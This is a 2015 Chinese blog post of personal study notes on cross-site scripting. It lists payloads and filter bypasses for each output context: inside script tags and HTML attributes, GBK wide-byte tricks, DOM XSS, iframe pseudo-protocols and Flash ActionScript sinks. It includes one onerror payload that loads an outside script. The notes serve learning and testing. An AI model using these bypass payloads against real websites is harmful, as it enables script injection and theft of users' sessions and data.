XSS学习

1.什么都没过滤的情况

①直接插入<script>alert(1)</script>

 

2.输出在<script></script>之间的情况

         ①没过滤尖括号,闭合<script>再插入一个<script>

         ②过滤了尖括号,<script>代码里的构造是的这一段JS依然语法正确

         ③没过滤反斜杠,转义引号后再行构造语

         ④没过滤换行符,输出在注释中%0a换行绕过

 

3.输出在HTML属性里的情况

         ①没过滤双引号,闭合双引号,再绑定事件

         ②过滤了双引号,在css中,\+ascii16进制形式绕过,如expr\65ssion。

         ③事件调用JS:<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='js地址';>

 

4.当页面是GB系列编码时,宽字节绕过

         ①当双引号被转义,%c0吃掉反斜杠,例:%c0%22.注入双引号

 

5. Dom Xss入门 [显式输出],输出在innerHTML或$("#y").html("xxxxxxx")的情况

①JS的字符串中的字符可以写为 unicode编码,例如:< 可以表示\x3c 或

\u003c , > 可以表示为 \u003e或\x3e

 

6. Dom Xss进阶

         ①输出不在页面中,在输入中添加特殊符号,如:单双引号 反斜杠,然后在

console中找错误,进而进入函数内部,输出可能在eval中

         ②输出在iframe的src中,各种伪协议如下↓

各种双引号内的伪协议:
1.1 最好懂的,onload执行js
<iframe onload="alert(1)"></iframe>
1.2 src 执行javascript代码
<iframe src="javascript:alert(1)"></iframe>
1.3 IE下vbscript执行代码
<iframe src="vbscript:msgbox(1)"></iframe> 
1.4 Chrome下data协议执行代码
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome
1.5 上面的变体
<iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>
1.6 Chrome下srcdoc属性
<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

7. Flash Xss入门

      ①找到存在缺陷的FLASH文件,步骤如下↓

      ②下载Flash文件,再反编译(反编译软件actionscript viewer 2009)然后把AS都保存出来,保存为文本文件。

      ③在AS中找危险函数,如下函数,若link是 "javascript:alert(1)"则导致xss

(as3.0版本)
navigateToURL(new URLRequest(link), "_self");

(as2.0版本)
getURL(link,"_self");

8.Flash Xss进阶 [ExternalInterface.call第一个参数]

①ExternalInterface.call,此函数作为FLASH与宿主页面javascript通信的接口,一般来说,有“2”个参数,第一个参数为所调用js函数名,后续的其他参数则为所调用的js函数的参数。那么在参数可控的情况下,不论是第一个参数或是后续参数可控,我们均能加以利用实现XSS

 

         查找缺陷步骤:

1.    首先确定FLASH是否有接受参数
2.    as3.0 接受参数的方法,所有参数存放在 root.loaderInfo.parameters 对象里。
3.    跟踪

 

ExternalInterface.call("函数名","参数1")实际是在执行:

try { __flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }

 


posted @ 2015-04-27 15:42  13ck  阅读(1154)  评论(0编辑  收藏  举报